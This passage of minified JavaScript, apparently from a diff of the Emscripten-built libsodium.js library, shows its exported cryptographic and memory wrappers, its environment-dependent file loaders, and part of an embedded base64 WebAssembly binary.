(o3._crypto_sign_ed25519_pk_to_curve25519 = z2.Xb)(t4, e4), o3._crypto_sign_ed25519_sk_to_curve25519 = (t4, e4) => (o3._crypto_sign_ed25519_sk_to_curve25519 = z2.Yb)(t4, e4), o3._randombytes_random = () => (o3._randombytes_random = z2.Zb)(), o3._randombytes_stir = () => (o3._randombytes_stir = z2._b)(), o3._randombytes_uniform = (t4) => (o3._randombytes_uniform = z2.$b)(t4), o3._randombytes_buf = (t4, e4) => (o3._randombytes_buf = z2.ac)(t4, e4), o3._randombytes_buf_deterministic = (t4, e4, r9) => (o3._randombytes_buf_deterministic = z2.bc)(t4, e4, r9), o3._randombytes_seedbytes = () => (o3._randombytes_seedbytes = z2.cc)(), o3._randombytes_close = () => (o3._randombytes_close = z2.dc)(), o3._randombytes = (t4, e4, r9) => (o3._randombytes = z2.ec)(t4, e4, r9), o3._sodium_bin2hex = (t4, e4, r9, n7) => (o3._sodium_bin2hex = z2.fc)(t4, e4, r9, n7), o3._sodium_hex2bin = (t4, e4, r9, n7, A7, i3, s4) => (o3._sodium_hex2bin = z2.gc)(t4, e4, r9, n7, A7, i3, s4), o3._sodium_base64_encoded_len = (t4, e4) => (o3._sodium_base64_encoded_len = z2.hc)(t4, e4), o3._sodium_bin2base64 = (t4, e4, r9, n7, A7) => (o3._sodium_bin2base64 = z2.ic)(t4, e4, r9, n7, A7), o3._sodium_base642bin = (t4, e4, r9, n7, A7, i3, s4, a4) => (o3._sodium_base642bin = z2.jc)(t4, e4, r9, n7, A7, i3, s4, a4), o3._sodium_init = () => (o3._sodium_init = z2.kc)(), o3._sodium_pad = (t4, e4, r9, n7, A7) => (o3._sodium_pad = z2.lc)(t4, e4, r9, n7, A7), o3._sodium_unpad = (t4, e4, r9, n7) => (o3._sodium_unpad = z2.mc)(t4, e4, r9, n7), o3._sodium_version_string = () => (o3._sodium_version_string = z2.nc)(), o3._sodium_library_version_major = () => (o3._sodium_library_version_major = z2.oc)(), o3._sodium_library_version_minor = () => (o3._sodium_library_version_minor = z2.pc)(), o3._sodium_library_minimal = () => (o3._sodium_library_minimal = z2.qc)(), o3._malloc = (t4) => (o3._malloc = z2.rc)(t4), o3._free = (t4) => (o3._free = z2.sc)(t4), o3.setValue = function(t4, e4, r9 = "i8") { - switch (r9.endsWith("*") && (r9 = "*"), r9) { - case "i1": - case "i8": - y3[0 | t4] = e4; - break; - case "i16": - m3[t4 >> 1] = e4; - break; - case "i32": - B3[t4 >> 2] = e4; - break; - case "i64": - x3("to do setValue(i64) use WASM_BIGINT"); - case "float": - w3[t4 >> 2] = e4; - break; - case "double": - v3[t4 >> 3] = e4; - break; - case "*": - E3[t4 >> 2] = e4; - break; - default: - x3(`invalid type for setValue: ${r9}`); - } - }, o3.getValue = function(t4, e4 = "i8") { - switch (e4.endsWith("*") && (e4 = "*"), e4) { - case "i1": - case "i8": - return y3[0 | t4]; - case "i16": - return m3[t4 >> 1]; - case "i32": - return B3[t4 >> 2]; - case "i64": - x3("to do getValue(i64) use WASM_BIGINT"); - case "float": - return w3[t4 >> 2]; - case "double": - return v3[t4 >> 3]; - case "*": - return E3[t4 >> 2]; - default: - x3(`invalid type for getValue: ${e4}`); - } - }, o3.UTF8ToString = Y3, M3 = function t4() { - G3 || q2(), G3 || (M3 = t4); - }, o3.preInit) - for ("function" == typeof o3.preInit && (o3.preInit = [o3.preInit]); o3.preInit.length > 0; ) - o3.preInit.pop()(); - q2(); - }); - }; - var n5, A5, o2 = void 0 !== o2 ? o2 : {}, s2 = Object.assign({}, o2), a2 = "object" == typeof window, c2 = "function" == typeof importScripts, h2 = "object" == typeof process && "object" == typeof process.versions && "string" == typeof process.versions.node, g2 = ""; - if (h2) { - var u2 = T, l2 = T; - g2 = c2 ? l2.dirname(g2) + "/" : __dirname + "/", n5 = (t3, e4) => (t3 = function(t4) { - return t4.startsWith("file://"); - }(t3) ? new URL(t3) : l2.normalize(t3), u2.readFileSync(t3, e4 ? void 0 : "utf8")), A5 = (t3) => { - var e4 = n5(t3, true); - return e4.buffer || (e4 = new Uint8Array(e4)), e4; - }, !o2.thisProgram && process.argv.length > 1 && process.argv[1].replace(/\\/g, "/"), process.argv.slice(2), e3.exports = o2, o2.inspect = () => "[Emscripten Module object]"; - } else - (a2 || c2) && (c2 ? g2 = self.location.href : "undefined" != typeof document && document.currentScript && (g2 = document.currentScript.src), g2 = 0 !== g2.indexOf("blob:") ? g2.substr(0, g2.replace(/[?#].*/, "").lastIndexOf("/") + 1) : "", n5 = (t3) => { - var e4 = new XMLHttpRequest(); - return e4.open("GET", t3, false), e4.send(null), e4.responseText; - }, c2 && (A5 = (t3) => { - var e4 = new XMLHttpRequest(); - return e4.open("GET", t3, false), e4.responseType = "arraybuffer", e4.send(null), new Uint8Array(e4.response); - })); - o2.print; - var f2, p2, d2 = o2.printErr || void 0; - Object.assign(o2, s2), s2 = null, o2.arguments && o2.arguments, o2.thisProgram && o2.thisProgram, o2.quit && o2.quit, o2.wasmBinary && (f2 = o2.wasmBinary), o2.noExitRuntime, "object" != typeof WebAssembly && N3("no native wasm support detected"); - var I2, y2, C2, m2, B2, E2, w2, v2 = false; - function _2() { - var t3 = p2.buffer; - o2.HEAP8 = I2 = new Int8Array(t3), o2.HEAP16 = C2 = new Int16Array(t3), o2.HEAPU8 = y2 = new Uint8Array(t3), o2.HEAPU16 = new Uint16Array(t3), o2.HEAP32 = m2 = new Int32Array(t3), o2.HEAPU32 = B2 = new Uint32Array(t3), o2.HEAPF32 = E2 = new Float32Array(t3), o2.HEAPF64 = w2 = new Float64Array(t3); - } - var Q2 = [], b2 = [], k2 = [], D2 = 0, S2 = null; - function N3(t3) { - throw o2.onAbort && o2.onAbort(t3), d2(t3 = "Aborted(" + t3 + ")"), v2 = true, t3 += ". Build with -sASSERTIONS for more info.", new WebAssembly.RuntimeError(t3); - } - var M2, x2, F2 = "data:application/octet-stream;base64,"; - function P2(t3) { - return t3.startsWith(F2); - } - P2(M2 = "data:application/octet-stream;base64,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gAEgA0IDiEL/AIMiBH0iCCACWARAQgAhAyAEQv8AhUIDWgRAIAhC/AGDIQcgAEHQAGohCgNAIAogAyAEfKdqIAEgA6dqLQAAOgAAIAogA0IBhCIJIAR8p2ogASAJp2otAAA6AAAgCiADQgKEIgkgBHynaiABIAmnai0AADoAACAKIANCA4QiCSAEfKdqIAEgCadqLQAAOgAAIANCBHwhAyAFQgR8IgUgB1INAAsLIAhCA4MiBUIAUgRAA0AgACADIAR8p2ogASADp2otAAA6AFAgA0IBfCEDIAZCAXwiBiAFUg0ACwsgACAAQdAAaiAMIAxBgAVqIgoQNiABIAinaiEBIAIgCH0iAkL/AFYEQANAIAAgASAMIAoQNiABQYABaiEBIAJCgAF9IgJC/wBWDQALCwJAIAJQDQAgAkIDgyEEQgAhBkIAIQMgAkIEWgRAIAJCfIMhBSAAQdAAaiEKQgAhAgNAIAogA6ciC2ogASALai0AADoAACAKIAtBAXIiDWogASANai0AADoAACAKIAtBAnIiDWogASANai0AADoAACAKIAtBA3IiC2ogASALai0AADoAACADQgR8IQMgAkIEfCICIAVSDQALCyAEUA0AA0AgACADpyIKaiABIApqLQAAOgBQIANCAXwhAyAGQgF8IgYgBFINAAsLIAxBwAUQBwwBC0IAIQMgAkIEWgRAIAJCfIMhCCAAQdAAaiEKA0AgCiADIAR8p2ogASADp2otAAA6AAAgCiADQgGEIgcgBHynaiABIAenai0AADoAACAKIANCAoQiByAEfKdqIAEgB6dqLQAAOgAAIAogA0IDhCIHIAR8p2ogASAHp2otAAA6AAAgA0IEfCEDIAVCBHwiBSAIUg0ACwsgAkIDgyICUA0AA0AgACADIAR8p2ogASADp2otAAA6AFAgA0IBfCEDIAZCAXwiBiACUg0ACwsgDEHABWokAEEAC58EARN/IAEoAighAiABKAIEIQMgASgCLCEEIAEoAgghBSABKAIwIQYgASgCDCEHIAEoAjQhCCABKAIQIQkgASgCOCEKIAEoAhQhCyABKAI8IQwgASgCGCENIAFBQGsiDigCACEPIAEoAhwhECABKAJEIREgASgCICESIAEoAkghEyABKAIAIRQgACABKAIkIAEoAkxqNgIkIAAgEiATajYCICAAIBAgEWo2AhwgACANIA9qNgIYIAAgCyAMajYCFCAAIAkgCmo2AhAgACAHIAhqNgIMIAAgBSAGajYCCCAAIAMgBGo2AgQgACACIBRqNgIAIAEoAighAiABKAIEIQMgASgCLCEEIAEoAgghBSABKAIwIQYgASgCDCEHIAEoAjQhCCABKAIQIQkgASgCOCEKIAEoAhQhCyABKAI8IQwgASgCGCENIA4oAgAhDiABKAIcIQ8gASgCRCEQIAEoAiAhESABKAJIIRIgASgCACETIAAgASgCTCABKAIkazYCTCAAIBIgEWs2AkggACAQIA9rNgJEIABBQGsgDiANazYCACAAIAwgC2s2AjwgACAKIAlrNgI4IAAgCCAHazYCNCAAIAYgBWs2AjAgACAEIANrNgIsIAAgAiATazYCKCAAIAEpAlA3AlAgACABKQJYNwJYIAAgASkCYDcCYCAAIAEpAmg3AmggACABKQJwNwJwIABB+ABqIAFB+ABqQaALEAYL8AkBHn8gASgCKCEDIAEoAgQhBCABKAIsIQUgASgCCCEGIAEoAjAhByABKAIMIQggASgCNCEJIAEoAhAhCiABKAI4IQsgASgCFCEMIAEoAjwhDSABKAIYIQ4gAUFAayIPKAIAIRAgASgCHCERIAEoAkQhEiABKAIgIRMgASgCSCEUIAEoAgAhFSAAIAEoAiQgASgCTGo2AiQgACATIBRqNgIgIAAgESASajYCHCAAIA4gEGo2AhggACAMIA1qNgIUIAAgCiALajYCECAAIAggCWo2AgwgACAGIAdqNgIIIAAgBCAFajYCBCAAIAMgFWo2AgAgASgCKCEFIAEoAgQhAyABKAIsIQYgASgCCCEHIAEoAjAhCCABKAIMIQkgASgCNCEKIAEoAhAhCyABKAI4IQwgASgCFCENIAEoAjwhDiABKAIYIRAgDygCACEPIAEoAhwhBCABKAJEIREgASgCICESIAEoAkghEyABKAIAIRQgACABKAJMIAEoAiRrNgJMIAAgEyASazYCSCAAIBEgBGs2AkQgAEFAayIEIA8gEGs2AgAgACAOIA1rNgI8IAAgDCALazYCOCAAIAogCWs2AjQgACAIIAdrNgIwIAAgBiADazYCLCAAQShqIgMgBSAUazYCACAAQdAAaiAAIAIQBiADIAMgAkEoahAGIABB+ABqIAJB+ABqIAFB+ABqEAYgACABQdAAaiACQdAAahAGIAAoAgQhFSAAKAIIIRYgACgCDCEXIAAoAhAhGCAAKAIUIRkgACgCGCEaIAAoAhwhGyAAKAIgIRwgACgCJCEdIAMoAgAhASAAKAJQIQIgACgCLCEFIAAoAlQhBiAAKAIwIQcgACgCWCEIIAAoAjQhCSAAKAJcIQogACgCOCELIAAoAmAhDCAAKAI8IQ0gACgCZCEOIAQoAgAhDyAAKAJoIRAgACgCRCERIAAoAmwhEiAAKAJIIRMgACgCcCEUIAAoAgAhHiAAIAAoAkwiHyAAKAJ0IiBqNgJMIAAgEyAUajYCSCAAIBEgEmo2AkQgBCAPIBBqNgIAIAAgDSAOajYCPCAAIAsgDGo2AjggACAJIApqNgI0IAAgByAIajYCMCAAIAUgBmo2AiwgAyABIAJqNgIAIAAgICAfazYCJCAAIBQgE2s2AiAgACASIBFrNgIcIAAgECAPazYCGCAAIA4gDWs2AhQgACAMIAtrNgIQIAAgCiAJazYCDCAAIAggB2s2AgggACAGIAVrNgIEIAAgAiABazYCACAAIB1BAXQiASAAKAKcASICazYCnAEgACAcQQF0IgMgACgCmAEiBGs2ApgBIAAgG0EBdCIFIAAoApQBIgZrNgKUASAAIBpBAXQiByAAKAKQASIIazYCkAEgACAZQQF0IgkgACgCjAEiCms2AowBIAAgGEEBdCILIAAoAogBIgxrNgKIASAAIBdBAXQiDSAAKAKEASIOazYChAEgACAWQQF0Ig8gACgCgAEiEGs2AoABIAAgFUEBdCIRIAAoAnwiEms2AnwgACAeQQF0IhMgACgCeCIUazYCeCAAIAMgBGo2AnAgACAFIAZqNgJsIAAgByAIajYCaCAAIAkgCmo2AmQgACALIAxqNgJgIAAgDSAOajYCXCAAIA8gEGo2AlggACARIBJqNgJUIAAgEyAUajYCUCAAIAEgAmo2AnQL1AECBX8CfgJ/IAJCAFIEQCAAQeABaiEHIABB4ABqIQMgACgA4AIhBANAIAMgBGohBkGAAiAEayIFrSIIIAJaBEAgBiABIAKnIgEQCRogACAAKADgAiABajYA4AJBAAwDCyAGIAEgBRAJGiAAIAAoAOACIAVqNgDgAiAAIAApAEAiCUKAAXw3AEAgACAAKQBIIAlC/35WrXw3AEggACADEDUgAyAHQYABEAkaIAAgACgA4AJBgAFrIgQ2AOACIAEgBWohASACIAh9IgJCAFINAAsLQQALCw0AIAAgASACEAwaQQALCAAgAEEgEBgLBABBEAuDBwEUfyABKAIEIQwgACgCBCEDIAEoAgghDSAAKAIIIQQgASgCDCEOIAAoAgwhBSABKAIQIQ8gACgCECEGIAEoAhQhECAAKAIUIQcgASgCGCERIAAoAhghCCABKAIcIRIgACgCHCEJIAEoAiAhEyAAKAIgIQogASgCJCEUIAAoAiQhCyAAQQAgAmsiAiAAKAIAIhUgASgCAHNxIBVzNgIAIAAgCyALIBRzIAJxczYCJCAAIAogCiATcyACcXM2AiAgACAJIAkgEnMgAnFzNgIcIAAgCCAIIBFzIAJxczYCGCAAIAcgByAQcyACcXM2AhQgACAGIAYgD3MgAnFzNgIQIAAgBSAFIA5zIAJxczYCDCAAIAQgBCANcyACcXM2AgggACADIAMgDHMgAnFzNgIEIAAoAighAyABKAIoIQwgACgCLCEEIAEoAiwhDSAAKAIwIQUgASgCMCEOIAAoAjQhBiABKAI0IQ8gACgCOCEHIAEoAjghECAAKAI8IQggASgCPCERIABBQGsiEigCACEJIAFBQGsoAgAhEyAAKAJEIQogASgCRCEUIAAoAkghCyABKAJIIRUgACAAKAJMIhYgASgCTHMgAnEgFnM2AkwgACALIAsgFXMgAnFzNgJIIAAgCiAKIBRzIAJxczYCRCASIAkgCSATcyACcXM2AgAgACAIIAggEXMgAnFzNgI8IAAgByAHIBBzIAJxczYCOCAAIAYgBiAPcyACcXM2AjQgACAFIAUgDnMgAnFzNgIwIAAgBCAEIA1zIAJxczYCLCAAIAMgAyAMcyACcXM2AiggACgCUCEDIAEoAlAhDCAAKAJUIQQgASgCVCENIAAoAlghBSABKAJYIQ4gACgCXCEGIAEoAlwhDyAAKAJgIQcgASgCYCEQIAAoAmQhCCABKAJkIREgACgCaCEJIAEoAmghEiAAKAJsIQogASgCbCETIAAoAnAhCyABKAJwIRQgACAAKAJ0IhUgASgCdHMgAnEgFXM2AnQgACALIAsgFHMgAnFzNgJwIAAgCiAKIBNzIAJxczYCbCAAIAkgCSAScyACcXM2AmggACAIIAggEXMgAnFzNgJkIAAgByAHIBBzIAJxczYCYCAAIAYgBiAPcyACcXM2AlwgACAFIAUgDnMgAnFzNgJYIAAgBCAEIA1zIAJxczYCVCAAIAMgAyAMcyACcXM2AlAL6AQBCX8gACABKAIgIgUgASgCHCIGIAEoAhgiByABKAIUIgggASgCECIJIAEoAgwiCiABKAIIIgQgASgCBCIDIAEoAgAiAiABKAIkIgFBE2xBgICACGpBGXZqQRp1akEZdWpBGnVqQRl1akEadWpBGXVqQRp1akEZdWpBGnUgAWpBGXVBE2wgAmoiAjoAACAAIAJBEHY6AAIgACACQQh2OgABIAAgAyACQRp1aiIDQQ52OgAFIAAgA0EGdjoABCAAIAJBGHZBA3EgA0ECdHI6AAMgACAEIANBGXVqIgJBDXY6AAggACACQQV2OgAHIAAgAkEDdCADQYCAgA5xQRZ2cjoABiAAIAogAkEadWoiBEELdjoACyAAIARBA3Y6AAogACAEQQV0IAJBgICAH3FBFXZyOgAJIAAgCSAEQRl1aiICQRJ2OgAPIAAgAkEKdjoADiAAIAJBAnY6AA0gACAIIAJBGnVqIgM6ABAgACACQQZ0IARBgIDgD3FBE3ZyOgAMIAAgA0EQdjoAEiAAIANBCHY6ABEgACAHIANBGXVqIgJBD3Y6ABUgACACQQd2OgAUIAAgA0EYdkEBcSACQQF0cjoAEyAAIAYgAkEadWoiA0ENdjoAGCAAIANBBXY6ABcgACADQQN0IAJBgICAHHFBF3ZyOgAWIAAgBSADQRl1aiICQQx2OgAbIAAgAkEEdjoAGiAAIAJBBHQgA0GAgIAPcUEVdnI6ABkgACABIAJBGnVqIgFBCnY6AB4gACABQQJ2OgAdIAAgAUGAgPAPcUESdjoAHyAAIAFBBnQgAkGAgMAfcUEUdnI6ABwLvQgCAX4DfyMAQcAFayIDJAAgACgCSEEDdkH/AHEiBCAAakHQAGohBQJAIARB8ABPBEAgBUHAkQJBgAEgBGsQCRogACAAQdAAaiIEIAMgA0GABWoQNiAEQQBB8AAQCBoMAQsgBUHAkQJB8AAgBGsQCRoLIAAgACkDQCICQjiGIAJCgP4Dg0IohoQgAkKAgPwHg0IYhiACQoCAgPgPg0IIhoSEIAJCCIhCgICA+A+DIAJCGIhCgID8B4OEIAJCKIhCgP4DgyACQjiIhISENwDAASAAIAApA0giAkI4hiACQoD+A4NCKIaEIAJCgID8B4NCGIYgAkKAgID4D4NCCIaEhCACQgiIQoCAgPgPgyACQhiIQoCA/AeDhCACQiiIQoD+A4MgAkI4iISEhDcAyAEgACAAQdAAaiADIANBgAVqEDYgASAAKQMAIgJCOIYgAkKA/gODQiiGhCACQoCA/AeDQhiGIAJCgICA+A+DQgiGhIQgAkIIiEKAgID4D4MgAkIYiEKAgPwHg4QgAkIoiEKA/gODIAJCOIiEhIQ3AAAgASAAKQMIIgJCOIYgAkKA/gODQiiGhCACQoCA/AeDQhiGIAJCgICA+A+DQgiGhIQgAkIIiEKAgID4D4MgAkIYiEKAgPwHg4QgAkIoiEKA/gODIAJCOIiEhIQ3AAggASAAKQMQIgJCOIYgAkKA/gODQiiGhCACQoCA/AeDQhiGIAJCgICA+A+DQgiGhIQgAkIIiEKAgID4D4MgAkIYiEKAgPwHg4QgAkIoiEKA/gODIAJCOIiEhIQ3ABAgASAAKQMYIgJCOIYgAkKA/gODQiiGhCACQoCA/AeDQhiGIAJCgICA+A+DQgiGhIQgAkIIiEKAgID4D4MgAkIYiEKAgPwHg4QgAkIoiEKA/gODIAJCOIiEhIQ3ABggASAAKQMgIgJCOIYgAkKA/gODQiiGhCACQoCA/AeDQhiGIAJCgICA+A+DQgiGhIQgAkIIiEKAgID4D4MgAkIYiEKAgPwHg4QgAkIoiEKA/gODIAJCOIiEhIQ3ACAgASAAKQMoIgJCOIYgAkKA/gODQiiGhCACQoCA/AeDQhiGIAJCgICA+A+DQgiGhIQgAkIIiEKAgID4D4MgAkIYiEKAgPwHg4QgAkIoiEKA/gODIAJCOIiE